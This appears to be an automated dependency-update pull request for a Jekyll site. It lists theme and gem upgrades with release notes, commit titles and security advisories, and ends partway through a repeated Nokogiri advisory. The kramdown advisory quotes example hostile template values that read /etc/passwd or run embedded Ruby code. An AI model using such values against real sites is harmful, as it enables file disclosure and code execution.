Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 45 commits:
Merge pull request #133 from pages-themes/head-customUpdate head-custom.htmlAdd head-custom.html to allow easier customization of the <head>Merge pull request #132 from pages-themes/repo-name-scssFix CI errorAdd _sass/cayman.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlMerge pull request #101 from ogonkov/patch-1Fix paramAdd Google Fonts url to ignoreAdd Google fonts CSS preloadingUse `font-display: swap`Create .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlFix linting errors & fix GitHub asset URLlessen Jekyll dependencyMerge pull request #64 from iBug/per-page-titleAdd demo in `another-page.md`Allow per-page title and description with Front MatterMerge pull request #63 from gebeto/patch-1Merge branch 'master' into patch-1bump ruby version in .travis.yml to 2.5maAdded GitHub `kbd` stylesMerge pull request #59 from theryangeary/masterCorrect 'one' to 'once'Merge pull request #49 from secumod/masterMove Google analytics code to the top of <head>Upgrade from analytics.js to gtag.js.Merge pull request #43 from sjparkinson/masterRevert "Upgrade from analytics.js to gtag.js."Revert "Upgrade normalise.css from v3.0.2 to v8.0.0."Move gtag.js into the <head>.Convert to header, and main semantic elements.Add apple-mobile-web-app-status-bar-style meta tag.Upgrade normalise.css from v3.0.2 to v8.0.0.Upgrade from analytics.js to gtag.js.
βοΈ jekyll-theme-dinky (indirect, 0.1.1 β 0.2.0) Β· Repo
Release Notes
0.2.0
- Add head-custom.html to allow easier customization of the
<head>#22
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 21 commits:
Update README.mdMerge pull request #22 from pages-themes/head-customUpdate head-custom.htmlAdd head-custom.html to allow easier customization of the <head>Merge pull request #21 from pages-themes/repo-name-scssAdd _sass/dinky.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlFix linting errors & fix GitHub asset URLlessen Jekyll dependencybump ruby version in .travis.yml to 2.5ma
βοΈ jekyll-theme-hacker (indirect, 0.1.1 β 0.2.0) Β· Repo
Release Notes
0.2.0
- Add Google Analytics to head-custom.html to allow easier customization of the GA code #79
0.1.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
Merge pull request #79 from pages-themes/head-customAdd head-custom.html to allow easier customization of the <head>Merge pull request #78 from pages-themes/repo-name-scssAdd _sass/hacker.scss to allow importing with theme name while using jekyll-remote-themeMerge pull request #69 from olifre/theme-colorImprove wording in README.README: Add hint on how to customize by providing _includes.Improve comment in `head-custom.html`Add head-custom.html include, factor out theme-color setting.Merge branch 'master' into theme-colorUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlSetup theme-color in head tagsMerge pull request #59 from pages-themes/github-actionsMerge branch 'master' into github-actionsCreate .github/workflows/ci.yamlSeparate build & testDisable Gemspec/RequiredRubyVersionUpdate ci.yamlOn: pushAdd test CI workflowRelease :gem: v0.1.2Update docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlMerge pull request #49 from tswfi/show_full_header_for_small_displaysShow full header h1 for smaller displaysMerge pull request #47 from malteada/masterSeparate style and relative_url on title a tagfeat: Return to home on click page titleFix linting errors & fix GitHub asset URLlessen Jekyll dependencybump ruby version in .travis.yml to 2.5ma
βοΈ jekyll-theme-leap-day (indirect, 0.1.1 β 0.2.0) Β· Repo
Commits
See the full diff on Github. The new version differs by 34 commits:
Merge pull request #56 from pages-themes/head-customMerge branch 'master' into head-customMerge pull request #57 from pages-themes/fix-css-validation-errorRemove 'auto' from padding since it's not a valid paddingAdd head-custom.html to allow easier customization of the <head>Merge pull request #47 from gebeto/patch-1Merge pull request #55 from pages-themes/repo-name-scssAdd _sass/leap-day.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlAdd styled KBD tag, like in primer themeCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlMerge pull request #37 from iBug/patch-1Merge branch 'master' into patch-1Fix linting errors & fix GitHub asset URLRespect page.title and page.description if setlessen Jekyll dependencybump ruby version in .travis.yml to 2.5maMerge pull request #31 from pages-themes/graham-updateupdate twitter user nameMerge pull request #30 from alexroseb/alexroseb-a11y-patchDarken body textAccessibility fixesMerge pull request #25 from lambdacasserole/bugfix-linear-gradientFix calls to linear-gradient
βοΈ jekyll-theme-merlot (indirect, 0.1.1 β 0.2.0) Β· Repo
Release Notes
0.2.0
Add head-custom.html to allow easier customization of the
<head>#10
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
Merge pull request #10 from pages-themes/head-customAdd head-custom.html to allow easier customization of the <head>Merge pull request #9 from pages-themes/repo-name-scssAdd _sass/merlot.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlFix linting errors & fix GitHub asset URLlessen Jekyll dependencybump ruby version in .travis.yml to 2.5ma
βοΈ jekyll-theme-midnight (indirect, 0.1.1 β 0.2.0) Β· Repo
Release Notes
0.2.0
- Add Google Analytics to head-custom.html to allow easier customization of the GA code #37
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 38 commits:
Merge pull request #33 from olifre/migrate-readme-badge-to-gh-actionMerge branch 'master' into migrate-readme-badge-to-gh-actionMerge pull request #37 from pages-themes/head-customAdd head-custom.html to allow easier customization of the <head>Merge pull request #36 from pages-themes/repo-name-scssAdd _sass/midnight.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdREADME: Use badge from github-action instead of Travis-CI.Merge pull request #30 from olifre/custom-headshead-custom: Use consistent names for custom header includes.Add head-custom.html for custom head tags.Merge pull request #31 from olifre/theme-colorMerge branch 'master' into theme-colorMerge pull request #32 from olifre/fix-li-in-navAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsMigrate theme-color meta tags to dedicated include file.Setup theme-color in head tags.Update .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlMerge branch 'master' into fix-li-in-navUpdate .github/workflows/ci.yamlWrap <li> in <ul>, not directly in <nav>.Create .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlFix linting errors & fix GitHub asset URLlessen Jekyll dependencyMerge pull request #18 from Gizmokid2005/patch-1Fix linear-gradientbump ruby version in .travis.yml to 2.5Merge pull request #17 from pages-themes/graham-updateupdating twitter handleMerge pull request #9 from coaxial/extend-fontSupport accentuated characters
βοΈ jekyll-theme-minimal (indirect, 0.1.1 β 0.2.0) Β· Repo
Release Notes
0.2.0
- Add head-custom.html to allow easier customization of the
<head>#119
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
Merge pull request #117 from kmyk/patch-1Merge pull request #119 from pages-themes/head-customAdd head-custom.html to allow easier customization of the <head>Merge pull request #118 from pages-themes/repo-name-scssAdd _sass/minimal.scss to allow importing with theme name while using jekyll-remote-themeUpdate Usage section of README.mdUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlMerge pull request #87 from gebeto/masterAdd styled KBD tag, like in primer themeCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlFix linting errors & fix GitHub asset URLlessen Jekyll dependencyMerge pull request #53 from coliff/patch-1Always load html5shiv over HTTPSbump ruby version in .travis.yml to 2.5Merge pull request #35 from quytelda/downloadsAdd 'downloads' SCSS class for download listsAdd "downloads" class to list of downloads
βοΈ jekyll-theme-modernist (indirect, 0.1.1 β 0.2.0) Β· Repo
Commits
See the full diff on Github. The new version differs by 27 commits:
Merge pull request #16 from pages-themes/head-customMerge branch 'master' into head-customMerge pull request #17 from pages-themes/fix-linear-gradientReplace linear_gradient with linear-gradient() CSS functionAdd head-custom.html to allow easier customization of the <head>Merge pull request #15 from pages-themes/repo-name-scssAdd _sass/modernist.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlMerge pull request #14 from gebeto/patch-1Add styled KBD tag, like in primer themeCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlMerge pull request #10 from Tekaoh/masterWiden the page a bitFix checker backgroundFix linting errors & fix GitHub asset URLlessen Jekyll dependencybump ruby version in .travis.yml to 2.5ma
βοΈ jekyll-theme-primer (indirect, 0.5.3 β 0.6.0) Β· Repo
Release Notes
0.6.0
- Add head-custom.html to allow easier customization of the #61
0.5.4
- Update Primer CSS
- Add default layout to post, page, and home layouts
- Lessen Jekyll dependency
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 40 commits:
Merge pull request #61 from pages-themes/head-customAdd head-custom.html to allow easier customization of the <head>Merge pull request #60 from pages-themes/repo-name-scssAdd _sass/primer.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsMerge pull request #51 from pages-themes/dependabot/add-v2-config-fileUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlUpgrade to GitHub-native DependabotMerge pull request #48 from pages-themes/dependabot/npm_and_yarn/y18n-4.0.3[Security] Bump y18n from 4.0.0 to 4.0.3Create .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlMerge pull request #36 from pages-themes/dependabot/npm_and_yarn/mixin-deep-1.3.2[Security] Bump mixin-deep from 1.3.1 to 1.3.2:gem: bumpMerge pull request #37 from ff4f01/patch-1Update README.mdUpdate README.mdMerge pull request #32 from pages-themes/dependabot/npm_and_yarn/js-yaml-3.13.1Bump js-yaml from 3.12.1 to 3.13.1Fix linting errors & fix GitHub asset URLlessen Jekyll dependencyMerge pull request #24 from pages-themes/primer-syncMerge branch 'master' into primer-syncBump ruby versionupdate primerrun primer-sync in script/updateadd @primer/syncMerge pull request #20 from eallenOP/masterPull in default starter content out of boxAdd post layout tooAdd default layouts
βοΈ jekyll-theme-slate (indirect, 0.1.1 β 0.2.0) Β· Repo
Commits
See the full diff on Github. The new version differs by 25 commits:
Merge pull request #47 from gebeto/masterMerge pull request #66 from pages-themes/head-customAdd head-custom.html to allow easier customization of the <head>Merge pull request #65 from pages-themes/repo-name-scssAdd _sass/slate.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlAdd styled KBD tag, like in primer themeCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlMerge pull request #34 from toughengineer/patch-1Make usage of <code> in headers *not* uglyFix linting errors & fix GitHub asset URLlessen Jekyll dependencybump ruby version in .travis.yml to 2.5maMerge pull request #22 from pdonias/masterShow "View on GitHub" on project pages only
βοΈ jekyll-theme-tactile (indirect, 0.1.1 β 0.2.0) Β· Repo
Commits
See the full diff on Github. The new version differs by 24 commits:
Merge pull request #21 from lkslawek/fall-back-code-font-family-to-monospaceMerge branch 'master' into fall-back-code-font-family-to-monospaceMerge pull request #23 from pages-themes/head-customAdd head-custom.html to allow easier customization of the <head>Merge pull request #22 from pages-themes/repo-name-scssAdd _sass/tactile.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlFall back code font-family to monospaceCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlFix linting errors & fix GitHub asset URLlessen Jekyll dependencyMerge pull request #14 from mitchmac/mobile-style-tweakSet viewport and list margins for mobile friendly stylebump ruby version in .travis.yml to 2.5
βοΈ jekyll-theme-time-machine (indirect, 0.1.1 β 0.2.0) Β· Repo
Commits
See the full diff on Github. The new version differs by 25 commits:
Merge pull request #22 from pages-themes/head-customMerge pull request #16 from deargle/pr-14-fix-show-downloadsMerge branch 'master' into pr-14-fix-show-downloadsMerge pull request #13 from gebeto/patch-1Add head-custom.html to allow easier customization of the <head>Merge pull request #21 from pages-themes/repo-name-scssAdd _sass/time-machine.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdAllow script/cibuild to be executedRemove .jekyll-cache and fix script/cibuildFix rubocop to work with vendor/ gemsscript/cibuild: Add --config flag to Rubocop execution in order to ignore the vendor/ directoryUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yaml* wrap scrolled nav download buttons in `show_downloads`Add styled KBD tag, like in primer themeCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlFix linting errors & fix GitHub asset URLlessen Jekyll dependencybump ruby version in .travis.yml to 2.5
βοΈ jekyll-titles-from-headings (indirect, 0.5.1 β 0.5.3) Β· Repo
Release Notes
0.5.3
- Support jekyll 4 and change Ruby version for travisci (#59) @leleabhinav
- Add case for hashes at the end of lines (#38) @MineRobber9000
- Fix error when stripping title from a page with frozen content (#32) @robotdana
- update documentation (#35) @kenman345
- Strip title from excerpt (#28) @qwtel
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 33 commits:
Bump jekyll-titles-from-headings to 0.5.3Merge pull request #60 from benbalter/test-jekyll-4test in jekyll 4.xbump rubocopMerge pull request #59 from leleabhinav/masterbump-versionsupport-jekyll-4-and-ruby-version-for-travisciCreate docs/SECURITY.mdCreate .github/funding.ymlUpdate .github/settings.ymlUpdate .github/settings.ymlMerge pull request #38 from MineRobber9000/patch-1Merge branch 'master' into patch-1fix rubocopAdd case for hashes at the end of linesCreate .github/release-drafter.ymlMerge pull request #32 from robotdana/cant-modify-frozen-contentMerge branch 'master' into cant-modify-frozen-contentMerge pull request #35 from kenman345/patch-1Merge branch 'master' into patch-1fix rubocop errorsupdate documentationUpdate .github/ISSUE_TEMPLATE/bug_report.mdUpdate .github/settings.ymlUpdate .github/config.ymlUpdate .github/no-response.ymlUpdate .github/stale.ymlCreate .github/ISSUE_TEMPLATE/bug_report.mdCreate .github/ISSUE_TEMPLATE/feature_request.mdUpdate .github/config.ymlFix error when stripping title from a page with frozen contentMerge pull request #28 from qwtel/strip-title-excerptMerge branch 'master' of https://github.com/benbalter/jekyll-titles-from-headings into strip-title-excerpt
βοΈ jemoji (indirect, 0.10.2 β 0.13.0) Β· Repo Β· Changelog
Release Notes
0.13.0 (from changelog)
Development Fixes
- Add Actions CI workflow (#127)
- Add release workflow (#128)
- Create dependabot config for rubygems upgrades (#126)
- Add github-actions to dependabot (#132)
- Bump actions/checkout from 2 to 3 (#133)
- Upgrade Rubocop target version to 2.7 (#134)
- Update rake requirement from ~> 12.0 to ~> 13.0 (#130)
Minor Enhancements
- Update gemoji requirement from ~> 3.0 to >= 3, < 5 & test with both major versions (#131)
0.12.0
Minor Enhancements
- perf: don't load Gemoji into memory immediately (#106)
Development Fixes
- deps: Ruby > 2.4 (EOL)
- ci: test with Ruby 2.7
0.11.1
Bug fix
- Support handling body tag across multiple lines (#96)
0.11.0
Development fixes
- Test against Jekyll v4
- Remove deprecated
sudo:falsein Travis config
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 41 commits:
Merge pull request #135 from jekyll/release-1-0-0Release jemoji v0.13.0Update history to reflect merge of #131 [ci skip]Update gemoji requirement from ~> 3.0 to >= 3, < 5 & test with both major versions (#131)Update history to reflect merge of #130 [ci skip]Update rake requirement from ~> 12.0 to ~> 13.0 (#130)Update history to reflect merge of #134 [ci skip]Upgrade Rubocop target version to 2.7 (#134)Update history to reflect merge of #133 [ci skip]Bump actions/checkout from 2 to 3 (#133)Update History.markdownMerge pull request #132 from jekyll/parkr-patch-2Add github-actions to dependabotMerge pull request #127 from jekyll/parkr-patch-2Merge pull request #128 from jekyll/parkr-patch-3release.yaml: target master branchMerge pull request #126 from jekyll/parkr-patch-1Add support for running CI on PRs targeting the 'master' branchAdd release workflowAdd Actions CI workflowCreate dependabot.ymlchore(ci): GitHub Pages runs Ruby 2.7.1Remove RuboCop TODO config fileConditionally load GFM parser gem in CI buildschore(ci): bump Ruby versionschore(dev): simplify require for versionchore(release): v0.12.0 :gem:chore(ci): Use latest versionsstyles: rubocop --auto-correctchore(deps): Ruby > 2.4chore: ignore vendor/bundleUpdate history to reflect merge of #106 [ci skip]Don't load Gemoji into memory immediately (#106)Merge pull request #97 from jekyll/release/0.11.1Release 0.11.1 :gem:Update history to reflect merge of #96 [ci skip]Support handling body tag across multiple lines (#96)fix: ignore .jekyll-cacheRelease: v0.11.0chore(deps): test against Jekyll v4chore (ci): remove deprecated `sudo: false` in .travis.yml
βοΈ kramdown (indirect, 1.17.0 β 2.4.0) Β· Repo Β· Changelog
Security Advisories π¨
π¨ Remote code execution in Kramdown
Kramdown before 2.3.1 does not restrict Rouge formatters to the Rouge::Formatters namespace, and thus arbitrary classes can be instantiated.
π¨ Unintended read access in kramdown gem
The kramdown gem before 2.3.0 for Ruby processes the template option inside Kramdown documents by default, which allows unintended read access (such as template="/etc/passwd") or unintended embedded Ruby code execution (such as a string that begins with template="string://<%= `). NOTE: kramdown is used in Jekyll, GitLab Pages, GitHub Pages, and Thredded Forum.
βοΈ liquid (indirect, 4.0.0 β 4.0.4) Β· Repo Β· Changelog
Release Notes
4.0.3 (from changelog)
Fixed
- Fix break and continue tags inside included templates in loops (#1072) [Justin Li]
4.0.2 (from changelog)
Changed
- Add
wherefilter (#1026) [Samuel Doiron]- Add
ParseTreeVisitorto iterate the Liquid AST (#1025) [Stephen Paul Weber]- Improve
strip_htmlperformance (#1032) [printercu]Fixed
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ listen (indirect, 3.1.5 β 3.10.0) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ mini_portile2 (indirect, 2.4.0 β 2.8.9) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ minima (indirect, 2.5.0 β 2.5.1) Β· Repo Β· Changelog
Release Notes
2.5.1
Minor enhancements
- Allow use and testing with Jekyll 4.x (#398)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 2 commits:
βοΈ minitest (indirect, 5.12.2 β 6.0.2) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ nokogiri (indirect, 1.10.4 β 1.19.2) Β· Repo Β· Changelog
Security Advisories π¨
π¨ Nokogiri does not check the return value from xmlC14NExecute
Summary
Nokogiri's CRuby extension fails to check the return value from
xmlC14NExecutein the methodNokogiri::XML::Document#canonicalizeandNokogiri::XML::Node#canonicalize. When canonicalization fails, an empty string is returned instead of raising an exception. This incorrect return value may allow downstream libraries to accept invalid or incomplete canonicalized XML, which has been demonstrated to enable signature validation bypass in SAML libraries.JRuby is not affected, as the Java implementation correctly raises
RuntimeErroron canonicalization failure.Mitigation
Upgrade to Nokogiri
>= 1.19.1.Severity
The maintainers have assessed this as Medium severity. Nokogiri itself is a parsing library without a clear security boundary related to canonicalization, so the direct impact is that a method returns incorrect data on invalid input. However, this behavior was exploited in practice to bypass SAML signature validation in downstream libraries (see References).
Credit
This vulnerability was responsibly reported by HackerOne researcher
d4d.
π¨ Nokogiri patches vendored libxml2 to resolve multiple CVEs
Summary
Nokogiri v1.18.9 patches the vendored libxml2 to address CVE-2025-6021, CVE-2025-6170, CVE-2025-49794, CVE-2025-49795, and CVE-2025-49796.
Impact and severity
CVE-2025-6021
A flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.
NVD claims a severity of 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/17d950ae
CVE-2025-6170
A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare configurations without modern protections.
NVD claims a severity of 2.5 Low (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/5e9ec5c1
CVE-2025-49794
A use-after-free vulnerability was found in libxml2. This issue occurs when parsing XPath elements under certain circumstances when the XML schematron has the <sch:name path="..."/> schema elements. This flaw allows a malicious actor to craft a malicious XML document used as input for libxml, resulting in the program's crash using libxml or other possible undefined behaviors.
NVD claims a severity of 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5
CVE-2025-49795
A NULL pointer dereference vulnerability was found in libxml2 when processing XPath XML expressions. This flaw allows an attacker to craft a malicious XML input to libxml2, leading to a denial of service.
NVD claims a severity of 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/62048278
CVE-2025-49796
A vulnerability was found in libxml2. Processing certain sch:name elements from the input XML file can trigger a memory corruption issue. This flaw allows an attacker to craft a malicious XML input file that can lead libxml to crash, resulting in a denial of service or other possible undefined behavior due to sensitive data being corrupted in memory.
NVD claims a severity of 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5
Affected Versions
- Nokogiri < 1.18.9 when using CRuby (MRI) with vendored libxml2
Patched Versions
- Nokogiri >= 1.18.9
Mitigation
Upgrade to Nokogiri v1.18.9 or later.
Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against patched external libxml2 libraries which will also address these same issues.
References
π¨ Nokogiri updates packaged libxml2 to v2.13.8 to resolve CVE-2025-32414 and CVE-2025-32415
Summary
Nokogiri v1.18.8 upgrades its dependency libxml2 to v2.13.8.
libxml2 v2.13.8 addresses:
- CVE-2025-32414
- described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/889
- CVE-2025-32415
- described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/890
Impact
CVE-2025-32414: No impact
In libxml2 before 2.13.8 and 2.14.x before 2.14.2, out-of-bounds memory access can occur in the Python API (Python bindings) because of an incorrect return value. This occurs in xmlPythonFileRead and xmlPythonFileReadRaw because of a difference between bytes and characters.
There is no impact from this CVE for Nokogiri users.
CVE-2025-32415: Low impact
In libxml2 before 2.13.8 and 2.14.x before 2.14.2, xmlSchemaIDCFillNodeTables in xmlschemas.c has a heap-based buffer under-read. To exploit this, a crafted XML document must be validated against an XML schema with certain identity constraints, or a crafted XML schema must be used.
In the upstream issue, further context is provided by the maintainer:
The bug affects validation against untrusted XML Schemas (.xsd) and validation of untrusted
documents against trusted Schemas if they make use of xsd:keyref in combination with recursively
defined types that have additional identity constraints.MITRE has published a severity score of 2.9 LOW (CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) for this CVE.
π¨ Nokogiri updates packaged libxslt to v1.1.43 to resolve multiple CVEs
Summary
Nokogiri v1.18.4 upgrades its dependency libxslt to v1.1.43.
libxslt v1.1.43 resolves:
- CVE-2025-24855: Fix use-after-free of XPath context node
- CVE-2024-55549: Fix UAF related to excluded namespaces
Impact
CVE-2025-24855
- "Use-after-free due to xsltEvalXPathStringNs leaking xpathCtxt->node"
- MITRE has rated this 7.8 High CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H
- Upstream report: https://gitlab.gnome.org/GNOME/libxslt/-/issues/128
- NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2025-24855
CVE-2024-55549
- "Use-after-free related to excluded result prefixes"
- MITRE has rated this 7.8 High CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H
- Upstream report: https://gitlab.gnome.org/GNOME/libxslt/-/issues/127
- NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2024-55549
π¨ Nokogiri updates packaged libxml2 to 2.13.6 to resolve CVE-2025-24928 and CVE-2024-56171
Summary
Nokogiri v1.18.3 upgrades its dependency libxml2 to v2.13.6.
libxml2 v2.13.6 addresses:
- CVE-2025-24928
- described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/847
- CVE-2024-56171
- described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/828
Impact
CVE-2025-24928
Stack-buffer overflow is possible when reporting DTD validation errors if the input contains a long (~3kb) QName prefix.
CVE-2024-56171
Use-after-free is possible during validation against untrusted XML Schemas (.xsd) and, potentially, validation of untrusted documents against trusted Schemas if they make use of
xsd:keyrefin combination with recursively defined types that have additional identity constraints.
π¨ Nokogiri updates packaged libxml2 to v2.12.7 to resolve CVE-2024-34459
Summary
Nokogiri v1.16.5 upgrades its dependency libxml2 to 2.12.7 from 2.12.6.
libxml2 v2.12.7 addresses CVE-2024-34459:
- described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/720
- patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/2876ac53
Impact
There is no impact to Nokogiri users because the issue is present only in libxml2's
xmllinttool which Nokogiri does not provide or expose.Timeline
- 2024-05-13 05:57 EDT, libxml2 2.12.7 release is announced
- 2024-05-13 08:30 EDT, nokogiri maintainers begin triage
- 2024-05-13 10:05 EDT, nokogiri v1.16.5 is released and this GHSA made public
π¨ Nokogiri update packaged libxml2 to v2.12.5 to resolve CVE-2024-25062
Summary
Nokogiri upgrades its dependency libxml2 as follows:
- Nokogiri v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6
- Nokogiri v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4
libxml2 v2.11.7 and v2.12.5 address the following vulnerability:
Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's
libxml2release announcements.JRuby users are not affected.
Mitigation
Upgrade to Nokogiri
~> 1.15.6or>= 1.16.2.Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
and link Nokogiri against patched external libxml2 libraries which will also address these same
issues.Impact
From the CVE description, this issue applies to the
xmlTextReadermodule (which underliesNokogiri::XML::Reader):When using the XML Reader interface with DTD validation and XInclude expansion enabled, processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.
Timeline
- 2024-02-04 10:35 EST - this GHSA is drafted without complete details about when the upstream issue was introduced; a request is made of libxml2 maintainers for more detailed information
- 2024-02-04 10:48 EST - updated GHSA to reflect libxml2 maintainers' confirmation of affected versions
- 2024-02-04 11:54 EST - v1.16.2 published, this GHSA made public
- 2024-02-05 10:18 EST - updated with MITRE link to the CVE information, and updated "Impact" section
- 2024-03-16 09:03 EDT - v1.15.6 published (see discussion at #3146), updated mitigation information
- 2024-03-18 22:12 EDT - update "affected products" range with v1.15.6 information
π¨ Nokogiri update packaged libxml2 to v2.12.5 to resolve CVE-2024-25062
Summary
Nokogiri upgrades its dependency libxml2 as follows:
- Nokogiri v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6
- Nokogiri v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4
libxml2 v2.11.7 and v2.12.5 address the following vulnerability:
